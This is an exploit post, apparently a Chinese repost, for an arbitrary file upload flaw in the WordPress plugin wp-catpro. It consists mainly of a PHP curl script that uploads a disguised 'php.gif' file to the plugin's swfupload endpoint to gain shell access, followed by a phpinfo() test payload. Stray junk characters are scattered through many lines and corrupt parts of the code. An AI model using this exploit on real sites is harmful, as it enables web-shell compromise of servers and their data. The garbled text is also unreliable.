WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------

作者  => Zikou-16
邮箱 => zikou16x@gmail.com
7 q( }) `( d( B测试系统 : Windows 7 , Backtrack 5r3
$ V* \& D( x+ L下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####

: Q. A( j3 P, i#=> Exploit 信息:
------------------
# 攻击者可以上传 file/shell.php.gif
/ i8 R3 D) b- H. r9 |; K  F* i# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------

) N( x2 L3 X4 r9 k) B1 J#=> Exploit
-----------
0 u; Z4 C4 |. t2 {. i7 ~<?php
+ |: v" F5 M* V7 z& ?7 R5 R
$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
- h$ k. N: r' ^* E, ncurl_setopt($ch, CURLOPT_POST, true);
! l6 z' S+ F) W6 ~& M: {& ^. b# zcurl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
* J* u! e1 @+ B* P'folder'=>'/wp-content/uploads/catpro/'));
7 Q' m& P- n. N8 M" x& t, ycurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);

% j+ Y* \# v& m( ~- cprint "$postResult";
; e5 Y2 ?! f0 c4 p
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
9 @- m8 o2 C3 j& p, o<?php
1 K6 d' J' S. R7 S' h$ [phpinfo();
?>